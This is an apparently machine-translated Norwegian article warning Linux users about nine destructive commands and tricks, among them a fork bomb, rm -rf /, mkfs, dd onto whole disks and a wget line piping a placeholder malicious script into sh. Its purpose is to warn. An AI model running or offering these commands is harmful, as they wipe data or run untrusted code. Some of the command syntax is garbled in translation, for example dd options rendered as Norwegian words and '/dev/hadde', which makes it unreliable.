9 Linux kommandoer og koder å være forsiktig med
Linux shell / terminal kommandoer er svært kraftige og bare en enkel kommando kan føre til at man sletter en mappe, filer eller rotmappe osv.
I noen tilfeller vil Linux ikke engang be deg om bekreftelse, men det vil utføre kommandoen med det samme og forårsake deg miste verdifulle data og informasjon lagret i disse filene og mappene.
Det er vanlig for folk å legge inn innhold på nettet anbefale nye Linux-brukere å utføre disse kommandoene. Dette kan virke som en vits for noen som har lagt ut innholdet, men det er ingen latter for personen i den andre enden.
Vi har samlet noen Linux-kommandoer som er ganske skadelige for systemet ditt for å hjelpe deg med å unngå dem. Husk at de faktisk er farlige og kan til og med endres på flere måter for å produsere nye kommandoer å forårsake mer skade.
En viktig ting å merke seg er det Noen av disse kommandoene er bare farlige hvis de er prefiks med sudo på Ubuntu. Mens andre distribusjoner av Linux, vil de fleste av disse kommandoene være farlige å utføre som rot.
Ta en titt på 9 kommandoer og koder du bør unngå å utføre.
1. Linux Fork Bomb Command
: () : |: & ;:
også kjent som Gaffelbombe er et benektelsesangrep mot et Linux-system. : () : |: & ;:
er en bash funksjon. En gang utført, det gjentar seg flere ganger til systemet fryser.
Du kan bare kvitte seg med det ved å starte systemet på nytt. Så vær forsiktig når du kjører denne kommandoen på Linux-skallet ditt.
2. mv mappe / dev / null kommando
mv mappe / dev / null
er en annen risikofylt kommando. Dev / null
eller null enhet
er en enhetsfil som sletter alle dataene som er skrevet på den, men det rapporterer at skriveoperasjonen utføres vellykket. Det er også kjent som litt bucked eller svart hull.
3. rm-rf kommandoen
rm-rf
kommandoen er en rask måte å slett en mappe og dens innhold i Linux-operativsystemet. Hvis du ikke vet hvordan du bruker det riktig, kan det bli veldig farlig for systemet. De vanligste kombinasjonene og alternativene som brukes med rm-rf-kommandoen, er oppført nedenfor:
rm
Kommandoen brukes til å slette filene i Linux-systemet.rm -f
Kommandoen fjerner skrivebeskyttede filer i mappen uten å spørre.rm -r
kommandoen sletter innholdet i en mappe rekursivt.rm -d
Kommandoen brukes til å fjerne en tom katalog, men det vil nekte å fjerne katalogen hvis den ikke er tom.rm -rf /
kommandoen brukes til tvunget sletting (det sletter det selv om det er skrivebeskyttet) av alt innholdet i rotmappen og undermappene.rm -rf *
kommandoen brukes til tvunget sletting av alt innholdet i gjeldende katalog (katalog du arbeider for i øyeblikket) og undermapper.rm-rf.
kommandoen brukes til tvunget sletting av alt innholdet i den nåværende mappen og undermappene. Derm -r. [^.] *
kommandoen kan også brukes.rm -i
Kommandoen brukes til fjerning av filer og mapper, men en melding vil vises før fjerning.
4. mkfs kommando
mkfs
kan være en farlig kommando for ditt Linux-baserte system hvis du ikke vet dens formål. Alt skrevet etter mkfs vil bli formatert og erstattet av et tomt Linux-filsystem.
Alle kommandoene som er nevnt nedenfor, vil formatere harddisken, og det krever administratorrettigheter:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Kommandoen mkfs.cramfs
vil gjøre det samme som ovenfor, men det krever ikke administratorrettigheter til å utføre.
5. Tar Bomb
De tjære
kommandoen brukes til å kombinere flere filer til en enkelt fil (arkivert fil) i .tjære format. En Tape Archive (Tar) bombe kan opprettes med denne kommandoen.
Det er en arkivfil som eksploderer i tusenvis eller millioner av filer med navn som ligner på eksisterende filer i gjeldende katalog snarere enn å inn i en ny katalog når den ikke er opptatt.
Du kan unngå å bli offer for en tjærebombe av Opprett regelmessig en ny beskyttende katalog når du mottar en tar-fil og deretter flytte den mottatte tjærefilen inn i denne katalogen før untarring.
Hvis tjærefilen faktisk er en tjærebombe, kan du bare fjerne den nyopprettede katalogen for å bli kvitt den. En annen måte å unngå eksplosjonen av en tjærebomb er via de -t
alternativ for å liste alt innholdet i en tjærefil for å gi deg en ide om innholdet i tarfilen.
6. dd kommando
De dd
kommandoen er vant til kopiere og konvertere harddiskpartisjoner. Det kan imidlertid vise seg å være skadelig hvis du angir feil destinasjon.
Kommandoen kan være en av disse:
dd hvis = / dev / hda av = / dev / hdb
dd hvis = / dev / hda av = / dev / sdb
dd hvis = noe av = / dev / hda
dd hvis = noe av = / dev / sda
Følgende kommando nullstiller hele primær harddisken: dd hvis = / dev / null av = / dev / hadde
7. Shell Script Code
Noen kan utsette deg for gir deg lenken til et shell-skript og godkjenner deg for å laste ned og utføre det. Skriptet kan inneholde noen skadelig eller farlig kode inne. De kommandoen kan se slik ut: wget http: // some_malicious_source -O- | sh
. De wget
vil laste ned skriptet mens sh laster ned utførelsen av skriptet.
8. skadelig kildekode
Noen gir deg kildekoden og ber deg om å kompilere den. Koden Det ser ut til å være en vanlig kode, men faktisk er en skadelig kode forkledd i den store kildekoden og det kan skade systemet ditt. For å unngå å bli utsatt for denne typen angrep, bare godta og kompilere kildekoden din fra pålitelige kilder.
9. Dekompresjonsbombe
Du har mottatt en komprimert fil, og du blir bedt om å pakke ut denne filen som synes å være svært liten i størrelse, men det kan være noen få kB. Faktisk, Denne komprimerte filen med liten størrelse inneholder svært komprimerte data.
Når filen er dekomprimert, hentes hundrevis av GB data ut som kan fylle opp harddisken din å redusere ytelsen til systemet ditt. For å unngå denne situasjonen, husk alltid å akseptere data fra troverdige kilder.